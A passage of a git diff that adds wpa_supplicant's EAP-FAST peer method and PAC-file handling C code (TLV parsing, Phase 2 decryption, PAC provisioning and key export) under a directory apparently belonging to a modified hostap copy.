PAC_TYPE_PAC_TYPE: + /* RFC 5422, Section 4.2.6 - PAC-Type TLV */ + if (len != 2) { + wpa_printf(MSG_INFO, "EAP-FAST: Invalid PAC-Type " + "length %lu (expected 2)", + (unsigned long) len); + wpa_hexdump_ascii(MSG_DEBUG, + "EAP-FAST: PAC-Info - PAC-Type", + pos, len); + return -1; + } + pac_type = WPA_GET_BE16(pos); + if (pac_type != PAC_TYPE_TUNNEL_PAC && + pac_type != PAC_TYPE_USER_AUTHORIZATION && + pac_type != PAC_TYPE_MACHINE_AUTHENTICATION) { + wpa_printf(MSG_INFO, "EAP-FAST: Unsupported PAC Type " + "%d", pac_type); + return -1; + } + + wpa_printf(MSG_DEBUG, "EAP-FAST: PAC-Info - PAC-Type %d", + pac_type); + entry->pac_type = pac_type; + break; + default: + wpa_printf(MSG_DEBUG, "EAP-FAST: Ignored unknown PAC-Info " + "type %d", type); + break; + } + + return 0; +} + + +static int eap_fast_process_pac_info(struct eap_fast_pac *entry) +{ + struct pac_tlv_hdr *hdr; + u8 *pos; + size_t left, len; + int type; + + /* RFC 5422, Section 4.2.4 */ + + /* PAC-Type defaults to Tunnel PAC (Type 1) */ + entry->pac_type = PAC_TYPE_TUNNEL_PAC; + + pos = entry->pac_info; + left = entry->pac_info_len; + while (left > sizeof(*hdr)) { + hdr = (struct pac_tlv_hdr *) pos; + type = be_to_host16(hdr->type); + len = be_to_host16(hdr->len); + pos += sizeof(*hdr); + left -= sizeof(*hdr); + if (len > left) { + wpa_printf(MSG_DEBUG, "EAP-FAST: PAC-Info overrun " + "(type=%d len=%lu left=%lu)", + type, (unsigned long) len, + (unsigned long) left); + return -1; + } + + if (eap_fast_parse_pac_info(entry, type, pos, len) < 0) + return -1; + + pos += len; + left -= len; + } + + if (entry->a_id == NULL || entry->a_id_info == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: PAC-Info does not include " + "all the required fields"); + return -1; + } + + return 0; +} + + +static struct wpabuf * eap_fast_process_pac(struct eap_sm *sm, + struct eap_fast_data *data, + struct eap_method_ret *ret, + u8 *pac, size_t pac_len) +{ + struct eap_peer_config *config = eap_get_config(sm); + struct eap_fast_pac entry; + + os_memset(&entry, 0, sizeof(entry)); + if (eap_fast_process_pac_tlv(&entry, pac, pac_len) || + eap_fast_process_pac_info(&entry)) + return NULL; + + eap_fast_add_pac(&data->pac, &data->current_pac, &entry); + eap_fast_pac_list_truncate(data->pac, data->max_pac_list_len); + if (data->use_pac_binary_format) + eap_fast_save_pac_bin(sm, data->pac, config->pac_file); + else + eap_fast_save_pac(sm, data->pac, config->pac_file); + + if (data->provisioning) { + if (data->anon_provisioning) { + /* + * Unauthenticated provisioning does not provide keying + * material and must end with an EAP-Failure. + * Authentication will be done separately after this. + */ + data->success = 0; + ret->decision = DECISION_FAIL; + } else { + /* + * Server may or may not allow authenticated + * provisioning also for key generation. + */ + ret->decision = DECISION_COND_SUCC; + } + wpa_printf(MSG_DEBUG, "EAP-FAST: Send PAC-Acknowledgement TLV " + "- Provisioning completed successfully"); + } else { + /* + * This is PAC refreshing, i.e., normal authentication that is + * expected to be completed with an EAP-Success. However, + * RFC 5422, Section 3.5 allows EAP-Failure to be sent even + * after protected success exchange in case of EAP-Fast + * provisioning, so we better use DECISION_COND_SUCC here + * instead of DECISION_UNCOND_SUCC. + */ + wpa_printf(MSG_DEBUG, "EAP-FAST: Send PAC-Acknowledgement TLV " + "- PAC refreshing completed successfully"); + ret->decision = DECISION_COND_SUCC; + } + ret->methodState = METHOD_DONE; + return eap_fast_tlv_pac_ack(); +} + + +static int eap_fast_parse_decrypted(struct wpabuf *decrypted, + struct eap_fast_tlv_parse *tlv, + struct wpabuf **resp) +{ + int mandatory, tlv_type, len, res; + u8 *pos, *end; + + os_memset(tlv, 0, sizeof(*tlv)); + + /* Parse TLVs from the decrypted Phase 2 data */ + pos = wpabuf_mhead(decrypted); + end = pos + wpabuf_len(decrypted); + while (pos + 4 < end) { + mandatory = pos[0] & 0x80; + tlv_type = WPA_GET_BE16(pos) & 0x3fff; + pos += 2; + len = WPA_GET_BE16(pos); + pos += 2; + if (pos + len > end) { + wpa_printf(MSG_INFO, "EAP-FAST: TLV overflow"); + return -1; + } + wpa_printf(MSG_DEBUG, "EAP-FAST: Received Phase 2: " + "TLV type %d length %d%s", + tlv_type, len, mandatory ? " (mandatory)" : ""); + + res = eap_fast_parse_tlv(tlv, tlv_type, pos, len); + if (res == -2) + break; + if (res < 0) { + if (mandatory) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Nak unknown " + "mandatory TLV type %d", tlv_type); + *resp = eap_fast_tlv_nak(0, tlv_type); + break; + } else { + wpa_printf(MSG_DEBUG, "EAP-FAST: ignored " + "unknown optional TLV type %d", + tlv_type); + } + } + + pos += len; + } + + return 0; +} + + +static int eap_fast_encrypt_response(struct eap_sm *sm, + struct eap_fast_data *data, + struct wpabuf *resp, + u8 identifier, struct wpabuf **out_data) +{ + if (resp == NULL) + return 0; + + wpa_hexdump_buf(MSG_DEBUG, "EAP-FAST: Encrypting Phase 2 data", + resp); + if (eap_peer_tls_encrypt(sm, &data->ssl, EAP_TYPE_FAST, + data->fast_version, identifier, + resp, out_data)) { + wpa_printf(MSG_INFO, "EAP-FAST: Failed to encrypt a Phase 2 " + "frame"); + } + wpabuf_free(resp); + + return 0; +} + + +static struct wpabuf * eap_fast_pac_request(void) +{ + struct wpabuf *tmp; + u8 *pos, *pos2; + + tmp = wpabuf_alloc(sizeof(struct eap_tlv_hdr) + + sizeof(struct eap_tlv_request_action_tlv) + + sizeof(struct eap_tlv_pac_type_tlv)); + if (tmp == NULL) + return NULL; + + pos = wpabuf_put(tmp, 0); + pos2 = eap_fast_write_pac_request(pos, PAC_TYPE_TUNNEL_PAC); + wpabuf_put(tmp, pos2 - pos); + return tmp; +} + + +static int eap_fast_process_decrypted(struct eap_sm *sm, + struct eap_fast_data *data, + struct eap_method_ret *ret, + const struct eap_hdr *req, + struct wpabuf *decrypted, + struct wpabuf **out_data) +{ + struct wpabuf *resp = NULL, *tmp; + struct eap_fast_tlv_parse tlv; + int failed = 0; + + if (eap_fast_parse_decrypted(decrypted, &tlv, &resp) < 0) + return 0; + if (resp) + return eap_fast_encrypt_response(sm, data, resp, + req->identifier, out_data); + + if (tlv.result == EAP_TLV_RESULT_FAILURE) { + resp = eap_fast_tlv_result(EAP_TLV_RESULT_FAILURE, 0); + return eap_fast_encrypt_response(sm, data, resp, + req->identifier, out_data); + } + + if (tlv.iresult == EAP_TLV_RESULT_FAILURE) { + resp = eap_fast_tlv_result(EAP_TLV_RESULT_FAILURE, 1); + return eap_fast_encrypt_response(sm, data, resp, + req->identifier, out_data); + } + + if (tlv.crypto_binding) { + tmp = eap_fast_process_crypto_binding(sm, data, ret, + tlv.crypto_binding, + tlv.crypto_binding_len); + if (tmp == NULL) + failed = 1; + else + resp = wpabuf_concat(resp, tmp); + } + + if (tlv.iresult == EAP_TLV_RESULT_SUCCESS) { + tmp = eap_fast_tlv_result(failed ? EAP_TLV_RESULT_FAILURE : + EAP_TLV_RESULT_SUCCESS, 1); + resp = wpabuf_concat(resp, tmp); + } + + if (tlv.eap_payload_tlv) { + tmp = eap_fast_process_eap_payload_tlv( + sm, data, ret, tlv.eap_payload_tlv, + tlv.eap_payload_tlv_len); + resp = wpabuf_concat(resp, tmp); + } + + if (tlv.pac && tlv.result != EAP_TLV_RESULT_SUCCESS) { + wpa_printf(MSG_DEBUG, "EAP-FAST: PAC TLV without Result TLV " + "acknowledging success"); + failed = 1; + } else if (tlv.pac && tlv.result == EAP_TLV_RESULT_SUCCESS) { + tmp = eap_fast_process_pac(sm, data, ret, tlv.pac, + tlv.pac_len); + resp = wpabuf_concat(resp, tmp); + } + + if (data->current_pac == NULL && data->provisioning && + !data->anon_provisioning && !tlv.pac && + (tlv.iresult == EAP_TLV_RESULT_SUCCESS || + tlv.result == EAP_TLV_RESULT_SUCCESS)) { + /* + * Need to request Tunnel PAC when using authenticated + * provisioning. + */ + wpa_printf(MSG_DEBUG, "EAP-FAST: Request Tunnel PAC"); + tmp = eap_fast_pac_request(); + resp = wpabuf_concat(resp, tmp); + } + + if (tlv.result == EAP_TLV_RESULT_SUCCESS && !failed) { + tmp = eap_fast_tlv_result(EAP_TLV_RESULT_SUCCESS, 0); + resp = wpabuf_concat(tmp, resp); + } else if (failed) { + tmp = eap_fast_tlv_result(EAP_TLV_RESULT_FAILURE, 0); + resp = wpabuf_concat(tmp, resp); + } + + if (resp && tlv.result == EAP_TLV_RESULT_SUCCESS && !failed && + tlv.crypto_binding && data->phase2_success) { + if (data->anon_provisioning) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Unauthenticated " + "provisioning completed successfully."); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + } else { + wpa_printf(MSG_DEBUG, "EAP-FAST: Authentication " + "completed successfully."); + if (data->provisioning) + ret->methodState = METHOD_MAY_CONT; + else + ret->methodState = METHOD_DONE; + ret->decision = DECISION_UNCOND_SUCC; + } + } + + if (resp == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: No recognized TLVs - send " + "empty response packet"); + resp = wpabuf_alloc(1); + } + + return eap_fast_encrypt_response(sm, data, resp, req->identifier, + out_data); +} + + +static int eap_fast_decrypt(struct eap_sm *sm, struct eap_fast_data *data, + struct eap_method_ret *ret, + const struct eap_hdr *req, + const struct wpabuf *in_data, + struct wpabuf **out_data) +{ + struct wpabuf *in_decrypted; + int res; + + wpa_printf(MSG_DEBUG, "EAP-FAST: Received %lu bytes encrypted data for" + " Phase 2", (unsigned long) wpabuf_len(in_data)); + + if (data->pending_phase2_req) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Pending Phase 2 request - " + "skip decryption and use old data"); + /* Clear TLS reassembly state. */ + eap_peer_tls_reset_input(&data->ssl); + + in_decrypted = data->pending_phase2_req; + data->pending_phase2_req = NULL; + goto continue_req; + } + + if (wpabuf_len(in_data) == 0) { + /* Received TLS ACK - requesting more fragments */ + return eap_peer_tls_encrypt(sm, &data->ssl, EAP_TYPE_FAST, + data->fast_version, + req->identifier, NULL, out_data); + } + + res = eap_peer_tls_decrypt(sm, &data->ssl, in_data, &in_decrypted); + if (res) + return res; + +continue_req: + wpa_hexdump_buf(MSG_MSGDUMP, "EAP-FAST: Decrypted Phase 2 TLV(s)", + in_decrypted); + + if (wpabuf_len(in_decrypted) < 4) { + wpa_printf(MSG_INFO, "EAP-FAST: Too short Phase 2 " + "TLV frame (len=%lu)", + (unsigned long) wpabuf_len(in_decrypted)); + wpabuf_free(in_decrypted); + return -1; + } + + res = eap_fast_process_decrypted(sm, data, ret, req, + in_decrypted, out_data); + + wpabuf_free(in_decrypted); + + return res; +} + + +static const u8 * eap_fast_get_a_id(const u8 *buf, size_t len, size_t *id_len) +{ + const u8 *a_id; + struct pac_tlv_hdr *hdr; + + /* + * Parse authority identity (A-ID) from the EAP-FAST/Start. This + * supports both raw A-ID and one inside an A-ID TLV. + */ + a_id = buf; + *id_len = len; + if (len > sizeof(*hdr)) { + int tlen; + hdr = (struct pac_tlv_hdr *) buf; + tlen = be_to_host16(hdr->len); + if (be_to_host16(hdr->type) == PAC_TYPE_A_ID && + sizeof(*hdr) + tlen <= len) { + wpa_printf(MSG_DEBUG, "EAP-FAST: A-ID was in TLV " + "(Start)"); + a_id = (u8 *) (hdr + 1); + *id_len = tlen; + } + } + wpa_hexdump_ascii(MSG_DEBUG, "EAP-FAST: A-ID", a_id, *id_len); + + return a_id; +} + + +static void eap_fast_select_pac(struct eap_fast_data *data, + const u8 *a_id, size_t a_id_len) +{ + data->current_pac = eap_fast_get_pac(data->pac, a_id, a_id_len, + PAC_TYPE_TUNNEL_PAC); + if (data->current_pac == NULL) { + /* + * Tunnel PAC was not available for this A-ID. Try to use + * Machine Authentication PAC, if one is available. + */ + data->current_pac = eap_fast_get_pac( + data->pac, a_id, a_id_len, + PAC_TYPE_MACHINE_AUTHENTICATION); + } + + if (data->current_pac) { + wpa_printf(MSG_DEBUG, "EAP-FAST: PAC found for this A-ID " + "(PAC-Type %d)", data->current_pac->pac_type); + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-FAST: A-ID-Info", + data->current_pac->a_id_info, + data->current_pac->a_id_info_len); + } +} + + +static int eap_fast_use_pac_opaque(struct eap_sm *sm, + struct eap_fast_data *data, + struct eap_fast_pac *pac) +{ + u8 *tlv; + size_t tlv_len, olen; + struct eap_tlv_hdr *ehdr; + + olen = pac->pac_opaque_len; + tlv_len = sizeof(*ehdr) + olen; + tlv = os_malloc(tlv_len); + if (tlv) { + ehdr = (struct eap_tlv_hdr *) tlv; + ehdr->tlv_type = host_to_be16(PAC_TYPE_PAC_OPAQUE); + ehdr->length = host_to_be16(olen); + os_memcpy(ehdr + 1, pac->pac_opaque, olen); + } + if (tlv == NULL || + tls_connection_client_hello_ext(sm->ssl_ctx, data->ssl.conn, + TLS_EXT_PAC_OPAQUE, + tlv, tlv_len) < 0) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Failed to add PAC-Opaque TLS " + "extension"); + os_free(tlv); + return -1; + } + os_free(tlv); + + return 0; +} + + +static int eap_fast_clear_pac_opaque_ext(struct eap_sm *sm, + struct eap_fast_data *data) +{ + if (tls_connection_client_hello_ext(sm->ssl_ctx, data->ssl.conn, + TLS_EXT_PAC_OPAQUE, NULL, 0) < 0) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Failed to remove PAC-Opaque " + "TLS extension"); + return -1; + } + return 0; +} + + +static int eap_fast_set_provisioning_ciphers(struct eap_sm *sm, + struct eap_fast_data *data) +{ + u8 ciphers[5]; + int count = 0; + + if (data->provisioning_allowed & EAP_FAST_PROV_UNAUTH) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Enabling unauthenticated " + "provisioning TLS cipher suites"); + ciphers[count++] = TLS_CIPHER_ANON_DH_AES128_SHA; + } + + if (data->provisioning_allowed & EAP_FAST_PROV_AUTH) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Enabling authenticated " + "provisioning TLS cipher suites"); + ciphers[count++] = TLS_CIPHER_RSA_DHE_AES128_SHA; + ciphers[count++] = TLS_CIPHER_AES128_SHA; + ciphers[count++] = TLS_CIPHER_RC4_SHA; + } + + ciphers[count++] = TLS_CIPHER_NONE; + + if (tls_connection_set_cipher_list(sm->ssl_ctx, data->ssl.conn, + ciphers)) { + wpa_printf(MSG_INFO, "EAP-FAST: Could not configure TLS " + "cipher suites for provisioning"); + return -1; + } + + return 0; +} + + +static int eap_fast_process_start(struct eap_sm *sm, + struct eap_fast_data *data, u8 flags, + const u8 *pos, size_t left) +{ + const u8 *a_id; + size_t a_id_len; + + /* EAP-FAST Version negotiation (section 3.1) */ + wpa_printf(MSG_DEBUG, "EAP-FAST: Start (server ver=%d, own ver=%d)", + flags & EAP_TLS_VERSION_MASK, data->fast_version); + if ((flags & EAP_TLS_VERSION_MASK) < data->fast_version) + data->fast_version = flags & EAP_TLS_VERSION_MASK; + wpa_printf(MSG_DEBUG, "EAP-FAST: Using FAST version %d", + data->fast_version); + + a_id = eap_fast_get_a_id(pos, left, &a_id_len); + eap_fast_select_pac(data, a_id, a_id_len); + + if (data->resuming && data->current_pac) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Trying to resume session - " + "do not add PAC-Opaque to TLS ClientHello"); + if (eap_fast_clear_pac_opaque_ext(sm, data) < 0) + return -1; + } else if (data->current_pac) { + /* + * PAC found for the A-ID and we are not resuming an old + * session, so add PAC-Opaque extension to ClientHello. + */ + if (eap_fast_use_pac_opaque(sm, data, data->current_pac) < 0) + return -1; + } else { + /* No PAC found, so we must provision one. */ + if (!data->provisioning_allowed) { + wpa_printf(MSG_DEBUG, "EAP-FAST: No PAC found and " + "provisioning disabled"); + return -1; + } + wpa_printf(MSG_DEBUG, "EAP-FAST: No PAC found - " + "starting provisioning"); + if (eap_fast_set_provisioning_ciphers(sm, data) < 0 || + eap_fast_clear_pac_opaque_ext(sm, data) < 0) + return -1; + data->provisioning = 1; + } + + return 0; +} + + +static struct wpabuf * eap_fast_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + const struct eap_hdr *req; + size_t left; + int res; + u8 flags, id; + struct wpabuf *resp; + const u8 *pos; + struct eap_fast_data *data = priv; + + pos = eap_peer_tls_process_init(sm, &data->ssl, EAP_TYPE_FAST, ret, + reqData, &left, &flags); + if (pos == NULL) + return NULL; + + req = wpabuf_head(reqData); + id = req->identifier; + + if (flags & EAP_TLS_FLAGS_START) { + if (eap_fast_process_start(sm, data, flags, pos, left) < 0) + return NULL; + + left = 0; /* A-ID is not used in further packet processing */ + } + + resp = NULL; + if (tls_connection_established(sm->ssl_ctx, data->ssl.conn) && + !data->resuming) { + /* Process tunneled (encrypted) phase 2 data. */ + struct wpabuf msg; + wpabuf_set(&msg, pos, left); + res = eap_fast_decrypt(sm, data, ret, req, &msg, &resp); + if (res < 0) { + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + /* + * Ack possible Alert that may have caused failure in + * decryption. + */ + res = 1; + } + } else { + /* Continue processing TLS handshake (phase 1). */ + res = eap_peer_tls_process_helper(sm, &data->ssl, + EAP_TYPE_FAST, + data->fast_version, id, pos, + left, &resp); + + if (tls_connection_established(sm->ssl_ctx, data->ssl.conn)) { + char cipher[80]; + wpa_printf(MSG_DEBUG, + "EAP-FAST: TLS done, proceed to Phase 2"); + if (data->provisioning && + (!(data->provisioning_allowed & + EAP_FAST_PROV_AUTH) || + tls_get_cipher(sm->ssl_ctx, data->ssl.conn, + cipher, sizeof(cipher)) < 0 || + os_strstr(cipher, "ADH-") || + os_strstr(cipher, "anon"))) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Using " + "anonymous (unauthenticated) " + "provisioning"); + data->anon_provisioning = 1; + } else + data->anon_provisioning = 0; + data->resuming = 0; + eap_fast_derive_keys(sm, data); + } + + if (res == 2) { + struct wpabuf msg; + /* + * Application data included in the handshake message. + */ + wpabuf_free(data->pending_phase2_req); + data->pending_phase2_req = resp; + resp = NULL; + wpabuf_set(&msg, pos, left); + res = eap_fast_decrypt(sm, data, ret, req, &msg, + &resp); + } + } + + if (res == 1) { + wpabuf_free(resp); + return eap_peer_tls_build_ack(id, EAP_TYPE_FAST, + data->fast_version); + } + + return resp; +} + + +#if 0 /* FIX */ +static Boolean eap_fast_has_reauth_data(struct eap_sm *sm, void *priv) +{ + struct eap_fast_data *data = priv; + return tls_connection_established(sm->ssl_ctx, data->ssl.conn); +} + + +static void eap_fast_deinit_for_reauth(struct eap_sm *sm, void *priv) +{ + struct eap_fast_data *data = priv; + os_free(data->key_block_p); + data->key_block_p = NULL; + wpabuf_free(data->pending_phase2_req); + data->pending_phase2_req = NULL; +} + + +static void * eap_fast_init_for_reauth(struct eap_sm *sm, void *priv) +{ + struct eap_fast_data *data = priv; + if (eap_peer_tls_reauth_init(sm, &data->ssl)) { + os_free(data); + return NULL; + } + os_free(data->session_id); + data->session_id = NULL; + if (data->phase2_priv && data->phase2_method && + data->phase2_method->init_for_reauth) + data->phase2_method->init_for_reauth(sm, data->phase2_priv); + data->phase2_success = 0; + data->resuming = 1; + data->provisioning = 0; + data->anon_provisioning = 0; + data->simck_idx = 0; + return priv; +} +#endif + + +static int eap_fast_get_status(struct eap_sm *sm, void *priv, char *buf, + size_t buflen, int verbose) +{ + struct eap_fast_data *data = priv; + int len, ret; + + len = eap_peer_tls_status(sm, &data->ssl, buf, buflen, verbose); + if (data->phase2_method) { + ret = os_snprintf(buf + len, buflen - len, + "EAP-FAST Phase2 method=%s\n", + data->phase2_method->name); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + } + return len; +} + + +static Boolean eap_fast_isKeyAvailable(struct eap_sm *sm, void *priv) +{ + struct eap_fast_data *data = priv; + return data->success; +} + + +static u8 * eap_fast_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_fast_data *data = priv; + u8 *key; + + if (!data->success) + return NULL; + + key = os_malloc(EAP_FAST_KEY_LEN); + if (key == NULL) + return NULL; + + *len = EAP_FAST_KEY_LEN; + os_memcpy(key, data->key_data, EAP_FAST_KEY_LEN); + + return key; +} + + +static u8 * eap_fast_get_session_id(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_fast_data *data = priv; + u8 *id; + + if (!data->success) + return NULL; + + id = os_malloc(data->id_len); + if (id == NULL) + return NULL; + + *len = data->id_len; + os_memcpy(id, data->session_id, data->id_len); + + return id; +} + + +static u8 * eap_fast_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_fast_data *data = priv; + u8 *key; + + if (!data->success) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + + *len = EAP_EMSK_LEN; + os_memcpy(key, data->emsk, EAP_EMSK_LEN); + + return key; +} + + +int eap_peer_fast_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_FAST, "FAST"); + if (eap == NULL) + return -1; + + eap->init = eap_fast_init; + eap->deinit = eap_fast_deinit; + eap->process = eap_fast_process; + eap->isKeyAvailable = eap_fast_isKeyAvailable; + eap->getKey = eap_fast_getKey; + eap->getSessionId = eap_fast_get_session_id; + eap->get_status = eap_fast_get_status; +#if 0 + eap->has_reauth_data = eap_fast_has_reauth_data; + eap->deinit_for_reauth = eap_fast_deinit_for_reauth; + eap->init_for_reauth = eap_fast_init_for_reauth; +#endif + eap->get_emsk = eap_fast_get_emsk; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_fast_pac.c b/peapwn/mods/hostap/src/eap_peer/eap_fast_pac.c new file mode 100644 index 000000000..8c480b967 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_fast_pac.c @@ -0,0 +1,921 @@ +/* + * EAP peer method: EAP-FAST PAC file processing + * Copyright (c) 2004-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_config.h" +#include "eap_i.h" +#include "eap_fast_pac.h" + +/* TODO: encrypt PAC-Key in the PAC file */ + + +/* Text data format */ +static const char *pac_file_hdr = + "wpa_supplicant EAP-FAST PAC file - version 1"; + +/* + * Binary data format + * 4-octet magic value: 6A E4 92 0C + * 2-octet version (big endian) + * + * + * version=0: + * Sequence of PAC entries: + * 2-octet PAC-Type (big endian) + * 32-octet PAC-Key + * 2-octet PAC-Opaque length (big endian) + * PAC-Opaque data (length bytes) + * 2-octet PAC-Info length (big endian) + * PAC-Info data (length bytes) + */ + +#define EAP_FAST_PAC_BINARY_MAGIC 0x6ae4920c +#define EAP_FAST_PAC_BINARY_FORMAT_VERSION 0 + + +/** + * eap_fast_free_pac - Free PAC data + * @pac: Pointer to the PAC entry + * + * Note that the PAC entry must not be in a list since this function does not + * remove the list links. + */ +void eap_fast_free_pac(struct eap_fast_pac *pac) +{ + os_free(pac->pac_opaque); + os_free(pac->pac_info); + os_free(pac->a_id); + os_free(pac->i_id); + os_free(pac->a_id_info); + os_free(pac); +} + + +/** + * eap_fast_get_pac - Get a PAC entry based on A-ID + * @pac_root: Pointer to root of the PAC list + * @a_id: A-ID to search for + * @a_id_len: Length of A-ID + * @pac_type: PAC-Type to search for + * Returns: Pointer to the PAC entry, or %NULL if A-ID not found + */ +struct eap_fast_pac * eap_fast_get_pac(struct eap_fast_pac *pac_root, + const u8 *a_id, size_t a_id_len, + u16 pac_type) +{ + struct eap_fast_pac *pac = pac_root; + + while (pac) { + if (pac->pac_type == pac_type && pac->a_id_len == a_id_len && + os_memcmp(pac->a_id, a_id, a_id_len) == 0) { + return pac; + } + pac = pac->next; + } + return NULL; +} + + +static void eap_fast_remove_pac(struct eap_fast_pac **pac_root, + struct eap_fast_pac **pac_current, + const u8 *a_id, size_t a_id_len, u16 pac_type) +{ + struct eap_fast_pac *pac, *prev; + + pac = *pac_root; + prev = NULL; + + while (pac) { + if (pac->pac_type == pac_type && pac->a_id_len == a_id_len && + os_memcmp(pac->a_id, a_id, a_id_len) == 0) { + if (prev == NULL) + *pac_root = pac->next; + else + prev->next = pac->next; + if (*pac_current == pac) + *pac_current = NULL; + eap_fast_free_pac(pac); + break; + } + prev = pac; + pac = pac->next; + } +} + + +static int eap_fast_copy_buf(u8 **dst, size_t *dst_len, + const u8 *src, size_t src_len) +{ + if (src) { + *dst = os_malloc(src_len); + if (*dst == NULL) + return -1; + os_memcpy(*dst, src, src_len); + *dst_len = src_len; + } + return 0; +} + + +/** + * eap_fast_add_pac - Add a copy of a PAC entry to a list + * @pac_root: Pointer to PAC list root pointer + * @pac_current: Pointer to the current PAC pointer + * @entry: New entry to clone and add to the list + * Returns: 0 on success, -1 on failure + * + * This function makes a clone of the given PAC entry and adds this copied + * entry to the list (pac_root). If an old entry for the same A-ID is found, + * it will be removed from the PAC list and in this case, pac_current entry + * is set to %NULL if it was the removed entry. + */ +int eap_fast_add_pac(struct eap_fast_pac **pac_root, + struct eap_fast_pac **pac_current, + struct eap_fast_pac *entry) +{ + struct eap_fast_pac *pac; + + if (entry == NULL || entry->a_id == NULL) + return -1; + + /* Remove a possible old entry for the matching A-ID. */ + eap_fast_remove_pac(pac_root, pac_current, + entry->a_id, entry->a_id_len, entry->pac_type); + + /* Allocate a new entry and add it to the list of PACs. */ + pac = os_zalloc(sizeof(*pac)); + if (pac == NULL) + return -1; + + pac->pac_type = entry->pac_type; + os_memcpy(pac->pac_key, entry->pac_key, EAP_FAST_PAC_KEY_LEN); + if (eap_fast_copy_buf(&pac->pac_opaque, &pac->pac_opaque_len, + entry->pac_opaque, entry->pac_opaque_len) < 0 || + eap_fast_copy_buf(&pac->pac_info, &pac->pac_info_len, + entry->pac_info, entry->pac_info_len) < 0 || + eap_fast_copy_buf(&pac->a_id, &pac->a_id_len, + entry->a_id, entry->a_id_len) < 0 || + eap_fast_copy_buf(&pac->i_id, &pac->i_id_len, + entry->i_id, entry->i_id_len) < 0 || + eap_fast_copy_buf(&pac->a_id_info, &pac->a_id_info_len, + entry->a_id_info, entry->a_id_info_len) < 0) { + eap_fast_free_pac(pac); + return -1; + } + + pac->next = *pac_root; + *pac_root = pac; + + return 0; +} + + +struct eap_fast_read_ctx { + FILE *f; + const char *pos; + const char *end; + int line; + char *buf; + size_t buf_len; +}; + +static int eap_fast_read_line(struct eap_fast_read_ctx *rc, char **value) +{ + char *pos; + + rc->line++; + if (rc->f) { + if (fgets(rc->buf, rc->buf_len, rc->f) == NULL) + return -1; + } else { + const char *l_end; + size_t len; + if (rc->pos >= rc->end) + return -1; + l_end = rc->pos; + while (l_end < rc->end && *l_end != '\n') + l_end++; + len = l_end - rc->pos; + if (len >= rc->buf_len) + len = rc->buf_len - 1; + os_memcpy(rc->buf, rc->pos, len); + rc->buf[len] = '\0'; + rc->pos = l_end + 1; + } + + rc->buf[rc->buf_len - 1] = '\0'; + pos = rc->buf; + while (*pos != '\0') { + if (*pos == '\n' || *pos == '\r') { + *pos = '\0'; + break; + } + pos++; + } + + pos = os_strchr(rc->buf, '='); + if (pos) + *pos++ = '\0'; + *value = pos; + + return 0; +} + + +static u8 * eap_fast_parse_hex(const char *value, size_t *len) +{ + int hlen; + u8 *buf; + + if (value == NULL) + return NULL; + hlen = os_strlen(value); + if (hlen & 1) + return NULL; + *len = hlen / 2; + buf = os_malloc(*len); + if (buf == NULL) + return NULL; + if (hexstr2bin(value, buf, *len)) { + os_free(buf); + return NULL; + } + return buf; +} + + +static int eap_fast_init_pac_data(struct eap_sm *sm, const char *pac_file, + struct eap_fast_read_ctx *rc) +{ + os_memset(rc, 0, sizeof(*rc)); + + rc->buf_len = 2048; + rc->buf = os_malloc(rc->buf_len); + if (rc->buf == NULL) + return -1; + + if (os_strncmp(pac_file, "blob://", 7) == 0) { + const struct wpa_config_blob *blob; + blob = eap_get_config_blob(sm, pac_file + 7); + if (blob == NULL) { + wpa_printf(MSG_INFO, "EAP-FAST: No PAC blob '%s' - " + "assume no PAC entries have been " + "provisioned", pac_file + 7); + os_free(rc->buf); + return -1; + } + rc->pos = (char *) blob->data; + rc->end = (char *) blob->data + blob->len; + } else { + rc->f = fopen(pac_file, "rb"); + if (rc->f == NULL) { + wpa_printf(MSG_INFO, "EAP-FAST: No PAC file '%s' - " + "assume no PAC entries have been " + "provisioned", pac_file); + os_free(rc->buf); + return -1; + } + } + + return 0; +} + + +static void eap_fast_deinit_pac_data(struct eap_fast_read_ctx *rc) +{ + os_free(rc->buf); + if (rc->f) + fclose(rc->f); +} + + +static const char * eap_fast_parse_start(struct eap_fast_pac **pac) +{ + if (*pac) + return "START line without END"; + + *pac = os_zalloc(sizeof(struct eap_fast_pac)); + if (*pac == NULL) + return "No memory for PAC entry"; + (*pac)->pac_type = PAC_TYPE_TUNNEL_PAC; + return NULL; +} + + +static const char * eap_fast_parse_end(struct eap_fast_pac **pac_root, + struct eap_fast_pac **pac) +{ + if (*pac == NULL) + return "END line without START"; + if (*pac_root) { + struct eap_fast_pac *end = *pac_root; + while (end->next) + end = end->next; + end->next = *pac; + } else + *pac_root = *pac; + + *pac = NULL; + return NULL; +} + + +static const char * eap_fast_parse_pac_type(struct eap_fast_pac *pac, + char *pos) +{ + pac->pac_type = atoi(pos); + if (pac->pac_type != PAC_TYPE_TUNNEL_PAC && + pac->pac_type != PAC_TYPE_USER_AUTHORIZATION && + pac->pac_type != PAC_TYPE_MACHINE_AUTHENTICATION) + return "Unrecognized 